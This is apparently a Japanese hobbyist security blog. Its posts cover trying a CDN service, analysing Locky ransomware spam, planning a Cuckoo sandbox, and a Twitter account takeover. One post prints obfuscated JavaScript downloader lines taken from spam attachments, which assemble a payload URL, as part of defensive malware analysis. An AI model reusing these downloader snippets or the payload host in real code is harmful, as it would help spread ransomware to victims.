ども。こんばんは。

特に意味は無いですが登録してみました。

やっぱり無料ならCloudFlareのほうが良いのかなー。

と思いつつ、Bot対策とCDNと二要素認証が無料使えるので、これはこれでなかなか。

ただSSLのサポートは無償では受けられないので注意です。
ここはCloudFlareからするとかなり見劣りするかもですね。

まぁ、このブログだけなのでSSLは無くてもよいかな。

切り替えて一時間・・・

Botしかいねえ笑

ではでは。またの機会に。

ども。こんばんは。

今日来ていたやつを2つは、まったく同じDL先でした。

Email2faxを装っているやつ

passable((“honest”,”stilted”,”korean”,”lewes”,”htt”)+(“abysmal”,”piracy”,”p:”)+(“gradation”,”certification”,”//”)+”an”+(“systems”,”languish”,”soundtrack”,”op”)+”.ir/87″+(“reciprocity”,”lynching”,”macintosh”,”h78r”)+(“vitamin”,”oriented”,”f3″)+(“invocation”,”mouthful”,”terra”,”capture”,”3g”),”hbjLofGiOu”);

@yahoo.esから届いたPhotos.zip

passable(“h”+”tt”+”p://an”+”op.i”+”r/”+(“strict”,”tasty”,”employee”,”87h7″)+”8r”+(“merchandise”,”looksmart”,”gathered”,”procrastination”,”f3″)+”3g”,”hbjLofGiOu”);

「hxxp://anop[.]ir/87h78rf33g」ってところですかね。

残念ながらもう消えているっぽいですが、やっぱりLockyみたいです。
※wgetでとりに行ったのでそれではじかれたりしているかも。。。

FaxEmail Fax from random number – JS malware leads to Locky ransomware
https://myonlinesecurity.co.uk/faxemail-fax-from-random-number-js-malware-leads-to-locky-ransomware/

まぁもう一大ブームですね。。。

あと、思うところあってcuckoo sandboxを作ってみようと思っています。
手ごろなUbuntuがないので、Kaliに入れようかなあ。

ESXiの上にVirtualBoxなので、ちょっと癖があるかも・・・。
この話は追々と。(ただいまKaliを1.1.0から2.0にdist-upgrade中・・・)

ではでは。またの機会に。

ども。こんばんは。

急増したスパムですが、

ZIPにJS含まれるタイプから、なんだかPDFやdocxに変わってきた気がします。
※実はライセンス切れのForefrontもこういうのは処理してくれていたみたい。。。

検体はForefrontにありますが、とりあえずファイル名だけでも。
※上の画像の上から順です。

E29032016_00008.docx
[メールアドレスっぽい]_receipt_6940D5.zip->acadf72.js
copy_[メールアドレスっぽい]_980709.zip->786_ticket_527173247.lib
copy_[メールアドレスっぽい]_980709.zip->ticket_793540794.js
9758W-TERREDOC-RS62937-15000.zip
Document (1).zip
Document (1).zip
Document (1).zip

Lockyブーム何ですかねえ。

まぁ、何事も正しく騒ぐことが必要かと思います。

あと、netadminってなんかやだ笑

ではでは。またの機会に。

ども。こんばんは。

お恥ずかしながら乗っ取り被害でレイバンしました。

ほとんどメモ用にしか使っていないアカウントなので人には迷惑は掛からないのですが、身に覚えのないレイバンの宣伝をしておりました。。。
スパム解析している場合ではなかったという悲しいオチ。

さて、乗っ取り元ですが、LinodeのサーバとASAHI-NETでした。

Linodeからのアクセスは最近確認されている模様。

【参考】
linode.comからTwitterへの不正ログイン
http://f36type.cocolog-nifty.com/blog/2016/03/linodecomtwitte.html

あーあ。

そういえば、以前yahooのアカウントも乗っ取られたことがありまして、
その時のアカウント名とパスワードは、実は今回乗っ取られたTwitterのアカウントと一緒でした。。。

まぁ、パスワードの使いまわしをする自分が悪いのですが・・・。

不審なログインは以下の通り。
※Twitterのログは3ヵ月？見れるようです。

アプリ 日時 IP 位置
Twitter.com 2016/03/18 20:55 183.77.254.83 日本
Twitter.com 2016/03/20 18:02 110.5.46.234 日本
※両方ともASASHI-NET ※全く関係ないはず。
「[hogehoge].ppp.asahi-net.or.jp」なのでPPPoE回線とか何だろうか。

Twitter.com 2016/03/24 18:23 106.185.28.201 日本
Twitter.com 2016/03/24 18:23 106.185.28.201 日本
※「li728-201.members.linode.com.」から。ここでレイバンをつぶやていた。
フォロワーにレイバン激安を@ツイート。

LinodeのIPアドレスってKDDI所有なので、au-netと近くて見間違うわ・・・。

みなさんもログイン履歴を定期確認しましょう。。。

確認方法は、PC版Twitterにログイン(orPCサイト表示モードでスマホからアクセス)し、
[設定]->[Twitterデータ]から。

ではでは。またの機会に。